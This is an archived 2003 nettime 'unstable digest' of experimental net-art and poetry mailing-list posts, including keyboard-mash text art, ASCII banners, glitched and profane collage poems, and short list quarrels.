\t\tdfasdfasdfg \tQWasdfasdfasdfg\nasdfasdWfasdfg asdfasdfasdfg asdfasdfasdfg asdfasdfasdfgg asdfasdfasdfgg asdfasdfasdfgg\n\tsdfasdfasdfgg  \tQWasdfasdfasdfgg \tQ asdasdfasdfgg  asdfasdfasdfg asdfasdfasdfg\nsadfasdfasdfg   \t\tdfasdfasdfg   \tQWasdasdfasdfg   asdfasdfasdfg   asd\n\tQWfasdfasdftg   asdfasdfasdfg   asdfasdfasdfg   asdfasdfasdfasdfg\n\tWasdsadfasdfasdfggggggg   gggg   gggg   \tQWgggg   gggg   gggg   gggg\n\tgggggggggGGGGGGGGGGGGGGGGGGGGGGGGGGGG \tQWGGGGGGG GGGGGGG GGGGGGG GGGGGGG QWGGGGGGG\nGGGGGGG GGGGGGG \t\tGGGGGAGGGGGGGAGGGGGGGAGGGGGGGAGGGGGGGAGGGGGGGA GGGGGGA\n\tWQGGGGGGA G\tGGGGGAG GGGGGA GGGGGA GGGGGGG AGGGGGG AGGGGGG \t\tGGGGG A GGGGG A\nGGGGG A GGGGG A GGGGG A GGGGG A TGG A GAT\tWQ GA GA RT\tQWG AGG A GT GAGGG A GT AG TA G T\tAG\nTA G TA G TA G T AG TA G AG T A G T A  G T  A  G A G  T  G A\tQW G  T G  T G  A  G\tQW A G  A G\nA G  A G  A \t  A G  T G  T G  T G  C A  C G  T G  A G  A G  C  T C T  GB T  W\tQC G  CG  C\nG  CG  C A  C A\tQW C A C \tG A  C G  C A  T G A  G A  T VC  A G A  G T  C  T C T  C T\nC T  C A   W\tQC  A  C A  C A  C A C  A C G C A\t\t\tWC A C A C A CA C A C A CA C A\nC A CA C A CA C A C AC A C A CA C A CA C W\tQA C AC A C A G A\tG A G A G A G A C A C AG\nAG A G A G A C A C A CA C A G A G A G A T AT AT AT A T AT AT AT AZC A W\tQG A G A\n\t \t \t \t \t \t\t4\t4\t\t44 ASDF  ASDF  A C A G\n\tQA G A A C A CA G A G A C A CA G A T A T A T A G A G A C W\tQA C A C A T A A A GA G\nA G A CAA C A C A C A D A ASF   AS\tQWDF  ASDF   ASDF   ASDF  A G A G A G AS ASDF W\tQASDF ASDF\nAZC A C A T A T A T AG A G AG A G A G A G A A A A A A C A G \tQWA F A G A G A G A G A G A G A\nG A G A G A G A GW\tQ A G A G A DFGML\u00d8L\u00d8KJZDFGKLJDFGJJKFGJKJFGKJFG DFG GF  ZDFG ZDFG ZDFG\nZDF GZGZFDG<SD-GZS-DG--<SDG---D--SD--DS--SD--SD-SD-SD--SD-- - -- - -- - - -- - - -- - - - - -\n- - - - - - - - - - - - - - - - - - - - - - - - - -  - - - - - - -  -- -  - - - - - - - - - -\n- - - - .\u00d8 -,. \u00d8 - - X-CX- X- -X -X- -.,X -.X, X- -X -X -X- -X -X- -X -X- -X -X -- X- -X -X-\n-X -X- -X -X -X- -X -X -X- -< -< -<- -< -< -< -< -< -<- < < -> .-< -< -< -< -< -< -< -< -< -<\n-< -< -< -< -< -<V -< -<_z- - - - - - - - _z -XZV-FSB-\t--\t-\t--\t-\t--\t-\n\t-\t-\t\t-\t-\t-\t--\t-\t-\t--\t-\t-\t--\n\t-\t-\t-\t\t-\t-\t-\t--\t-\t--\t-\t-\t-\n\t--\t-\t-\t--\t-\t-\t-\t-\t\t-\t-\t-\tw-\n\tq-\tqw-\tqw-\tqw-\tqw-\tqw-\tqw-\t-\t-\t-\t-\t-\t-\n\t-\t-\t-\t-\t-\tw-\twlol+\t\u00e5\t\u00e5\n\t.H.A.H.A.H.AZ,FD.FF,XDF.HDSG.DSG.FDGF.XD,M.SGBD.G,CX.,AQHN.SZ.H.S,VV.B,DFG,..DG.DFG.DF\n.B.XB,SZGD.,AS.V,WQ\t. ,\t\t9+*\t89\t897\t87\t\t87\t87\t87\t87\n\t/\n\t\t\t.X.X. .X.C .ZA. .Z. .X.AC.GZ.C . .VXC.XZV.C .SZV.V .SD .  .W\t\tWASC\n. .SV.V .ASZV .SR.FG. X AQ.D.V .SZV .BV .Z .SDV.\t.SDFB.\t.fbGZDF.aq.f\t.df,db.\t,EW.\n\t\tW\t\t\t\t\t\t\t\t\t\tDZF\n\t\t\tWEDDRHYGRTUQWRW\t\tQRQWRRWQQRQRTQWEWQERQWQWQWQWQWQWQWQWWZDFGQ\n\tWQ\tWQ\tW\tQQWQ\tWQ\t.W\tQ\tWQ.JYFFK\t...\t...\t..\t...\n\t...FG\t.\t...\t..\t.\t...\t..\t..\t..JH\t..\t.\t.,\t.,\n\t.,.\tGZD\t.,\t.,\t.,\t.,\t.,\t.,\t.,\t.,\t.YUKK\tW,\t.,\n\t.,\t.,\t.,GZDF.,\t\t,\t.,\t.,\t.,\t\t,\n\t\t.,\tY\t\tKQ.,\t\t,\t.,\t.,\tDZF.\t,\t.,\t.\n\t..\t..\t..\t.\t.\t.\tGY.\t..\t..\t.ZDFG\t.\t\u00f8m\n\tL\u00d8KJ\u00d8L\tKj\u00f8l\tkj\u00f8lkj\t\u00d8LKJ\u00d8LKJ\tl\u00f8kj\u00f8l\t\tkJKKGYLLNMH GB\tL,.-.mDFGKJ\n\tLKIJH\tloijm\tO\u00d8JHNlihjLI\thnliMHSliaishLIAHnaloiHNWQLI\tuqGY\t\toiwyGZ\n\tikusgb\tWIUKSH\tWSIK\tHws\u00f8ih\tqlk1qw\tjkljkl\tJKL\tjk\t\u00f8lkJ\tQ\u00d8LK\tJW\u00d8L\t.KJLEKFH\n\tFYLUL\u00f8owjZDFlgkjsgloik\tJS\u00d8OWAKJRAL\u00d8SBJHNALODHNDSFLGIHKdlikjHWSILO\n\tKJWELIQWHFVIL\tkwsh\tqilDH\tLiodh\tLIDKFZDFGo\t\tIOJ\tJL\u00d8KJ\tlkj\u00f8l\tKJA\t0\n\t0\t0\t0\t0\t0\t0\t0ZDFGUKL0\t0\t0uioj\n\tL\u00d8EHNETOHLKASGLOKAJSG\u00d8LKD.FB O\u00d8LI.JB AZLODJBESMOPZTILUJQ POGHISJRFGBLEXGNLWAEZDFG\tKLFT\n\tK\t\tKK\tKK\tK\tKK\tKKK\tK\tKKK\tK\tKK\tKK\n\tK\u00f8wsZDFG\u00f8p qjf\u00d8XLMB \u00d8P<LIFYUKKJ\tHM B\u00c5\tkIGD\t IJ+IG\tWU\u00d8\u00c6\u00c5\u00cfUC qm\u00e6pohb \tKJL\tJJ\n\tJJ\tJJ\tJJ\tZDFG\tJJ\tFYU\tKJJ\tJJ\t\u00d8LKJ\t\u00d8LKJ\t\u00d8LKJ\u00d8LK\n\tJ\u00d8LKJ\u00d8\tLKJ\u00d8LKYTF\tFHJH\tGFJHGF\tJHFDZFG\tJHGFJH\tFJH\tGFQAJKYUH\tFYUKGJI\u00c5EAF\nDFF  ZDF  ZDF DF  DF DF DG  GD GFFD GF ZD ZDFG ZDFG ZDF GZDFGzDFGZDFG\n\t\u00d6\u00c6PIUFDCGRTHRFIUKLJOP'\t\u00c6\u00c5gfcxhfdlk\t\u00f8olkp9oiyuo89i\tO87GUFYTVK\tI8OQGHUK\n\tJMGHPLU\u00d8\u00c6'\u00c5ILGFUYJ\u00c5'\u00c6\n\t\t\t\u00a8QIYTUYFT\tUYTFGUYQF UIY\tht i7uk g\tai7t\tAI7UTABIKU\tGHB\n\tQIAKJGB\tQAIUKGB\tQA8OUY\t\tUUIY\tIOPU\tUYU\tYP\t\\+\t\\+\t\\\n\t\\\\+\\\tq\\+0\\\tPQ\\+\taq0\\+\t0w\\\t+sw0\t\\W+S\\+\tW\t0\t\\W+0\t\\QW+0\t\\QWE+0\tQ\\E+\n0\tQ\\E\tQ\\E+0 \tPOIU\tU\tUUOPIqwedopiuoi\u00f8aWDPOUIPIO<AFDUPOA<IFUOPI\tq\tIO\tI\n\tIIQ\tOIU\tQPOIU\tQIOPUP\tQPOIUPOI\tqpoiupo\tupoiu\tpoiu\tiop\tioupioup\n\t\u00a8\u00e5\u00c6'\n\n\n\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ###########\nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ /\n/ /____|##################################################################\n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n>\n>\n\n\n\n\nDate: Sun, 12 Jan 2003 05:44:54 -0800\nFrom: AUGUST HIGHLAND <hmfah3 {AT} hotmail.com>\nSubject: WHAT A FUCKING DUMB-ASS!\n\nWHAT A FUCKING DUMB-ASS!\n\n\n\nplanning\nplenary\nrickettsia ricketts planning\nunited nationsFUCK YOU ASSHOLE!plenary\nfunding rickettsia ricketts planning\nunited nationsFUCK YOU ASSHOLE!plenary\nfunding rickettsia ricketts planning\naudits united nationsFUCK YOU ASSHOLE!plenary\npurposes unknownWHAT A FUCKING DUMB-ASS!funding rickettsia ricketts\naudits united nationsFUCK YOU ASSHOLE!\nbased purposes unknownWHAT A FUCKING DUMB-ASS!funding\nnucleic instead auditors global audits\ngeographic coordinatesWHAT A FUCKING DUMB-ASS!purposes unknownWHAT A FUCKING\nDUMB-ASS!\nconcentrations nucleic instead auditors global audits\ngeographic coordinatesWHAT A FUCKING DUMB-ASS!purposes unknownWHAT A FUCKING\nDUMB-ASS!\nstamford concentrations nucleic instead auditors global\ngeographic coordinatesWHAT A FUCKING DUMB-ASS!\nseamsWHAT A FUCKING DUMB-ASS!planned stamford concentrations nucleic instead\nauditors global\narticles geographic coordinates\ninterceptsWHAT A FUCKING DUMB-ASS!sbirs planned stamford concentrations\npresident federalizes articles\ntenders interceptsWHAT A FUCKING DUMB-ASS!sbirs planned stamford\nwelchWHAT A FUCKING DUMB-ASS!president federalizes articles\nscudWELL FUCK YOU ASSHOLE!reviewing tenders interceptsWHAT A FUCKING\nDUMB-ASS!sbirs planned\nbzWELL FUCK YOU ASSHOLE!diisopropylFUCK YOU ASSHOLE!welchWHAT A FUCKING\nDUMB-ASS!president federalizes articles\nunited states scudWELL FUCK YOU ASSHOLE!reviewing tenders intercepts\nexempt categoriesWELL FUCK YOU ASSHOLE!diisopropylFUCK YOU ASSHOLE!welchWHAT\nA FUCKING DUMB-ASS!president federalizes\nfavorable results united states scudWELL FUCK YOU ASSHOLE!reviewing tenders\ncommunities exempt categoriesWELL FUCK YOU ASSHOLE!diisopropylFUCK YOU\nASSHOLE!welchWHAT A FUCKING DUMB-ASS!\nfinedWHAT A FUCKING DUMB-ASS!exercised federal grants schleswig holstein\nfavorable results united states scudWELL FUCK YOU ASSHOLE!reviewing\nterrorist communities exempt categoriesWELL FUCK YOU ASSHOLE!diisopropylFUCK\nYOU ASSHOLE!\nfinedWHAT A FUCKING DUMB-ASS!exercised federal grants schleswig holstein\nfavorable results united states\nnuclear terrorist communities exempt categories\nab federalFUCK YOU ASSHOLE!FUCK WELL FUCK YOU ASSHOLE!finedWHAT A FUCKING\nDUMB-ASS!exercised federal grants schleswig holstein favorable results\nnuclear terrorist communities\nchart provides shemya federalFUCK YOU ASSHOLE!FUCK WELL FUCK YOU\nASSHOLE!finedWHAT A FUCKING DUMB-ASS!exercised federal grants schleswig\nholstein\neu protectiveWHAT A FUCKING DUMB-ASS!nuclear terrorist\n\n\n---\nOutgoing mail is certified Virus Free.\nChecked by AVG anti-virus system (http://www.grisoft.com).\nVersion: 6.0.443 / Virus Database: 248 - Release Date: 1/10/2003\n\n\n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/\n\n\n\n\n\nFrom: Frederic Madre <fmadre {AT} wanadoo.fr>\nSubject: Re:  3 poems\nDate: Sat, 18 Jan 2003 09:45:51 +0100\n\nAt 00:35 18/01/2003 -0800, August Highland wrote:\n>\"spank me\"\n>---\n>Outgoing mail is certified Virus Free.\n\nthat is the least we expect of you, augie.\n\nf.\n\n\n\n\nFrom: \"William Fairbrother\" <wfairbrother {AT} hotmail.com>\nSubject: afTale med M\u00e5nen\nDate: Sat, 18 Jan 2003 11:00:58 +0000\n\nafTale med M\u00e5nen\n\nuniVERS]ets-konTinu<i]TeT>eR\nkun LYD[[ene[[[frA]-substAN-s...\nog[S\u00c5\"\"M\u00c5'ske]bLIV((s(S||||tR\u00f8\n]st]MM[e((B\u00f8l-|G||||end[e>HAV::SAMMEN\n)sur||i<UM<<bob/LER||||s\\t\u00f8j\nb/BRUDt-]i//STy[KK-er(((tiL,et<\nl\u00c5|><|:tY(kk)e>crE\u00b4m-e]som\nfe[DE<i>ha]k]K-et//k\u00d8d>ekSTASE\nhAV[d||||E>sVAR-)et<og|forKLAR]et\nKulden]f\u00f8lte\\\\vi//i[KK]e...\"\"m\u00f8DER\nman,mens]RimElig NoK>i den [RET)ning\nin/drett/er]sig>>...<bAR||||e<FOR;di\nN\u00c6R|he]DEN\\\\svig]ter-jo/ta'/\"\"\n(na]TT[en beGY(ng[N]der \u00e5ndSS)vagE.\n\n[fra digtsamling \"100 Sonetter\"]\n\nWilliam Fairbrother\nVirtualItch\nhttp://www.geocities.com/worldezine\n\n\n\n\n_________________________________________________________________\nProtect your PC - get McAfee.com VirusScan Online \nhttp://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963\n\n\n\nDate: Tue, 14 Jan 2003 23:29:33 -0800\nFrom: MWP <mpalmer {AT} JPS.NET>\nSubject: I AM MAKING ART (sketch)\n\n(with apologies to John Baldessari)\n\n]   , m   L a k i n g   A r t .    <<\nI   a m   m a k i W g = 3 ^ p N    <<\nI   * G a & i k N z } l o ? 5 s    <<\nt = q l 4 M + a y 2 ; c c A r o 6  <<\nI D + m   m a k i n g   A r t .    <<\nv   a m   m a k : w g P 4 r s Z ]  <<\n/   f _ $ > e a ] . x t J } y . 5  <<\nr u Q m H 9 0 k i n f S k r $ .    <<\nI   a m   m k k i n g   A r t .    <<\nI e a m   m a k [ \\ J M P n Q m ,  <<\n} C } 8 \" y | / s ;   J O . w q O  <<\nI F a m   > r k i n g   A r t .    <<\nI   a m   m a k i n g   A ! t .    <<\nI   u m     H k i u   Q | ! l H *  <<\nj 3 _ ! = / I 6 x 7 0 $ l ] _  {AT}  t  <<\nI G a ;   & a k y n g   A r t .    <<\nI   a m   m a k i n g = A r t . U  <<\n1 z 0 m v ) N + i c K 8  {AT}  5 w k 6  <<\nE ' ' J { ^ \" 3 C  {AT}  U ] A r t . Y  <<\n[ L a m   m R k i n g   A r t .    <<\nI   a m   m a k i n g ^ y + o &    <<\n, ] a   e r w 4 P . X \\ * < #  {AT}     <<\nW Y % [ { * D Z k i ' = Z ? r u .  <<\nI   a m   m a k i n g   A r t . X  <<\nI   G m : / N R ? n g   A E {  {AT}  :  <<\n\" & ; G _ s 6 | I \\ K * h J F . 4  <<\nZ = 5 Y , m j k % n g   A r t .    <<\nI   a m   m a k i n g   A r 7 .    <<\nI   { $ H P E 7 ` 4 U ` m r I   U  <<\nI 1 ? ) R W ? k L ? 0 q K r ? N    <<\nI   a 3   m a k i n g   A r t .    <<\nI   a m   m a k i + g ! A r P q n  <<\nf   V O 3 m = ) T & + * v r D t m  <<\n. i + 5 Z m z 1 B Z \\ 3 3   { D 3  <<\nI   a :   m a k i n g   A r t .    <<\nI   a m   m a k ! L g   A r t J b  <<\n; z   a r % 8 8 * T : E E Z  {AT}  j i  <<\no q a | j $ a k i n g . A } t .    <<\nI   * m   m a k i n g   A r t .    <<\nI   A K   m a k 5 A ! + ; A t i b  <<\n3 [ 8 ? ? S 0 p Y c { l A * # n i  <<\nn , Z m F m  {AT}  > i n g v A r t .    <<\nI   a m   m a k i n g   A r { r    <<\nI   a m   m a k i n g . [ y < ' s  <<\nA G r g i f g - C w : 4 T i o B z  <<\nI ? a 7   J a k i ; 7   A r t .    <<\nI   a m   m a k i n g   A T t . #  <<\nO   ( 2 ; m s k y  {AT}  g - } : : _ +  <<\n_ P C 8 \\ > $ V r s p U [ _ t . 7  <<\nI   B m   m a k  Bad subscript  in line 400\n\n\n\n\nFrom: \"Frederic Madre\" <fmadre {AT} wanadoo.fr>\nSubject: Re:  VIOLENT OPPOSITION!!\nDate: Tue, 14 Jan 2003 10:28:03 +0100 (MET)\n\nI am violently opposed to your senseless cross-posting, you idiot.\n\nf.\n\n\n\n>Messsage du 14/01/2003 10:15\n>De : AUGUST HIGHLAND <hmfah3 {AT} hotmail.com>\n>A : ImitationPoetics <ImitationPoetics {AT} listserv.unc.edu>,  <webartery {AT} ya=\nhoogroups.com>,  <o-o {AT} konf.lt>,  <7-11 {AT} mail.ljudmila.org>, buffalo <POETIC=\nS {AT} listserv.BUFFALO.EDU>,  <owner-realpoetik {AT} scn.org>,  <_arc.hive_ {AT} lm.va.c=\nom.au>,  <syndicate {AT} anart.no>\n>Copie =E0 : \n>Objet : [syndicate] VIOLENT OPPOSITION!!  \n>\n>  \n> \n>[ message-footer.txt (1 Ko)]\n\n\n\n\n\nDate: Tue, 14 Jan 2003 21:20:26 -0800 (PST)\nFrom: Pete Balestrieri <geothermalvent {AT} yahoo.com>\nSubject: Bring Me the Head of Donald Rumsfeld\n\nLike thundercloud that terrorist can make the preparation of that explodes with the rain of\nterrorist which Robert and the 15 temper September that transformano in love they are strong\nterrorist moves quickly towards we Like monster with the letter before me you that accepted the\nresponsibility of the wound and damages which your information gives to other things if or not the\npreparation I have asked You as far as its person of the son 1 of its other child who similar is\ndamaged to the school I watch what terrorist has the letter from the mother who stating 3 that\nthey come to lack preoccupies due to received your sight of fotoricettore Propagate of your place\nas far as the thing that attends you are you simply here in order to die the call through the\nresult of those refusals Rumsfeld rest passage the small-numbered day that terrorist sends the\nletter to me with Rumsfeld email that is distributed to ninja of all the substances in which\ninsulted simply in the order for more you demand in order to teach you denies send the abandonment\nto you of your place Then the place is lowered with terrorist who is Rumsfeld brusqueness serious\nwho comes and whao you exchange with Rumsfeld letter stating of that terrorist takes and those\nwould not have to follow to the example of your disease If entreat in you terrorist we pull your\nplace and in order to tear itself one or the other Marches one elimination over that minimal\nreturn within me Through your classified call from my student terrorist is generally known that\nthe behavior of your disease makes up for one that is defective The small boy is transaction of\nthe substance with the violation yours with your sour lie are taken and others because of Rumsfeld\nexample Similar to my title terrorist of ninja the place of the adequate ones where the Japanese\ndistant several of Rumsfeld bullet of Rumsfeld iemoto and Rumsfeld smoke ship that 25 years of the\nryu are reported with mine have of ninja and ninjutsu they put you on that I guarantee that is\nconsiderable Terrorist has fallen liberations in order to transmit Rumsfeld mail of me fight\ntogether and here is this that is prohibited from the small boy clearly because this terrorist can\ntransmit Rumsfeld mail of me with the rope of your worry reads with Robert I want For being able\nto approach my mail of you recall other things nobody that fairies GRASSETTO in order to send this\nentire letter of your place Obtaining angry terrible Rumsfeld and smoke (guide) the net of power\n\n\n\n\n\n__________________________________________________\nDo you Yahoo!?\nYahoo! Mail Plus - Powerful. Affordable. Sign up now.\nhttp://mailplus.yahoo.com\n\n\n\n\nDate: Tue, 14 Jan 2003 08:40:16 -0800\nFrom: \"solipsiscape go  {AT}  [noisetext]\" <solipsis {AT} HEVANET.COM>\nSubject: LIES, MISTAKES, GENERALIZATIONS, FAULTY LOGICS,\n\n\nSOLID MAN: from the volcano of our idiot history.\n\nTRANSCENDENCE:BANNED (DUE TO A \"PRIVILEGED\" HUMOR)\n\ncontrol:STRIDENT PHYSICALITY\nwhat is control:STRIDENT TELOS\ncontrol:STRIDENT IDEOLOGY\nwhat is control:STRIDENT VITUPERATION\ncontrol:STRIDENT VERNACULAR\nwhat is control:STRIDENT JUDGEMENT\ncontrol:STRIDENT SPIRITUALITY\nwhat is control:STRIDENT INTERPRETANT\ncontrol:STRIDENT FIELD\nwhat is control:STRIDENT FOR STRIDENT'S SAKE\ncontrol:STRIDENT IMAGINATION\nwhat is control:STRIDENT IMPOTENCE\ncontrol:STRIDENT IMPATIENCE\nwhat is control:STRIDENT MASKS\ncontrol:STRIDENT GESTURES\nwhat is control:STRIDENT SCAPEGOATING\ncontrol:STRIDENT PSYCOPHANCY\nwhat is control:STRIDENT USELESSNESS\ncontrol:STRIDENT BREEDING\nwhat is control:STRIDENT WASTES\ncontrol:STRIDENT TRACES\nwhat is control:STRIDENT ORIFICES\ncontrol:STRIDENT RHETORIC\nwhat is control:STRIDENT COMPLACENCY\ncontrol:STRIDENT APATHY\nwhat is control:STRIDENT MULTIPLICITY\ncontrol:STRIDENT UNITY\nwhat is control:STRIDENT FOCUS\ncontrol:STRIDENT ISSUE\nwhat is control:STIDENT DETERMINATION\ncontrol:STRIDENT TRANSGRESSION\nwhat is control:STRIDENT AND AGGRESSIVE PACIFICATION\ncontrol:STRIDENT INVOCATION\n\nstrident: when taking up the notion of cause, of perpetuity in ceasing, the=\nre is limited action\nbetween domains, preaching instead of finding useful domains of action, the=\n structure of government is set, the humbugging masses may wail, but no bur=\nning monks here, gumbling mumbling, and distributive artifacts do not halt =\nthe machinery of war, war appropriates it own energy and must be short-circ=\nuited in the domain of litigation, the industrial, the sociophysical, a fle=\nsh protest to block lines of distribution. war is the theatre of markets, i=\nf military personel are to be dissuaded from following orders, a counterhie=\nrarchical organization for their escape should be provided, mass determinat=\nion is a fact, the desemination of information forms a vital role in social=\n change, but real physical presence is the true harbinger of change, the te=\nrrorist knows this explicitly, and his strident beliefs are willing to enge=\nnder a critique of physicality, these hyperbolic events, form a network of =\nstratagems, a virtual manifold where the paranoid machinery of ideology mus=\nt  bring to bear its multiple techniques of control. ubu is the most heinou=\ns of beasts.\n\nTHE \"IF YOU ARE NOT WITH US YOU ARE AGAINST US MENTALITY\" OF ANY PEACE/ANTI=\n-WAR/REVOLUTIONARY MOVEMENT SIGNALS THE PARADOXICAL INGESTION OF THE STYLE =\nOF IDEOLOGICAL HEGEMONY OVER THE MEANDERING AND PUNCTUATED FREEDOM TO \"DREA=\nM AND DO IN PRIVATE\" OF THE INDIVIDUAL ANTI-WAR OR FREEDOM ACTIVIST. WORDS =\nALONE CANNOT REPRESENT THE RAISON D'ETRE OF ANY INDIVIDUAL AGENT. IF THE PU=\nRPOSE IS TO PRESENT A UNIFIED PSYCHIC FIELD OF INTENT, THIS INTENT SHOULD B=\nE STATED IN CLEAR, SEMIOTICALLY PRECISE PHRASES WHICH DESCRIBE ACCURATELY T=\nHE FIELD OF INTENT OF ANY SAID GROUP.\nTHIS DOCUMENT OR DOCUMENTS CAN THEN FORM A VITAL LINK IN THE DESEMINATION O=\nF THIS FIELD\n\nPROCESSED AND PROCESSING\nDREAM LOUDLY AGAINST THE GRAIN OF YOUR SANITY\n\nWE ARE ALL BEING PROCESSED.\n\n\n\n\n\n\n\nDate: Tue, 14 Jan 2003 18:06:05 -0500\nFrom: jmcs2 <c-k-h-r-o-m-a-c-h-i-n-e {AT} chromaticspaceandworld.com>\nSubject: TWO-{    }open{ }||{    }-?{   }\n\n\n\n\n  ||{  }favor{    }\n'={    }machXne{  }\n\n>(m)(q){     }>(m)(v){   }\n\n         :::2{   }:5a:{}zero{  }\nt-{  }e+{  }.r{}.t{ }=w{ }er{ }a.{ }y>{}[~{    }~]{    }~[{  }[~{  }[~\n{    }~~{}~~{   }\n\n\n|-|,{}\n\n\nsqr(-1){    }en{    }t.{     }\n\n>   VASION{ }      EIGHT-a{}zero{}\n\n  ..{   }..{}a'{    }..{     }\n..{     }..{  }a'{  }..{   }EIGHT-{  }no{  }a.{    }se{    }em{    }\n\n\n\n\n\n\n\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ###########\nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ /\n/ /____|##################################################################\n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n>\n>\n\n\n\n\n\n\nnettime unstable digest vol 30\nSun Jan 19 17:40:21 2003\n\n\nSubject: =C7=FD=BF=F8 =C0=D4=B4=CF=B4=D9\n    From: =C7=FD=BF=F8<wjrqn {AT} hotmail.com>\n\nSubject: o\t    so-/\n    From: -r-W-x-R-W-X-R- x <gustin.pascale {AT} free.fr>\n\nSubject: Re: OPPO.S[able].I.T[humbs]ION!!\n    From: mez <netwurker {AT} HOTKEY.NET.AU>\n\nSubject: #1 REFRACTIONS\n    From: MWP <mpalmer {AT} JPS.NET>\n\nSubject: more insults against me\n    From: AUGUST HIGHLAND <hmfah {AT} HOTMAIL.COM>\n\nSubject: Re:  VIOLENT OPPOSITION!!\n    From: \"Frederic Madre\" <fmadre {AT} wanadoo.fr>\n\nSubject: [windows-1252] [textile] \u00a8\u00e5\u00c6'\n    From: \"[windows-1252] Bj\u00f8rn Magnhild\u00f8en\" <magh {AT} chello.no>\n\nSubject: WHAT A FUCKING DUMB-ASS!\n    From: AUGUST HIGHLAND <hmfah3 {AT} hotmail.com>\n\nSubject: Re:  3 poems\n    From: Frederic Madre <fmadre {AT} wanadoo.fr>\n\nSubject: afTale med M\u00e5nen\n    From: \"William Fairbrother\" <wfairbrother {AT} hotmail.com>\n\nSubject: I AM MAKING ART (sketch)\n    From: MWP <mpalmer {AT} JPS.NET>\n\nSubject: Re:  VIOLENT OPPOSITION!!\n    From: \"Frederic Madre\" <fmadre {AT} wanadoo.fr>\n\nSubject: Bring Me the Head of Donald Rumsfeld\n    From: Pete Balestrieri <geothermalvent {AT} yahoo.com>\n\nSubject: LIES, MISTAKES, GENERALIZATIONS, FAULTY LOGICS,\n    From: \"solipsiscape go  {AT}  [noisetext]\" <solipsis {AT} HEVANET.COM>\n\nSubject: TWO-{    }open{ }||{    }-?{   }\n    From: jmcs2 <c-k-h-r-o-m-a-c-h-i-n-e {AT} chromaticspaceandworld.com>\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold syndicate thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost syndicate webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.12 2002/11/21 16:13:41 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 19 Jan 2003 17:41:02 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200301200037.h0K0bqT07442 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0301/msg00086.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 30"
            },
            {
                "content-type": "text/plai",
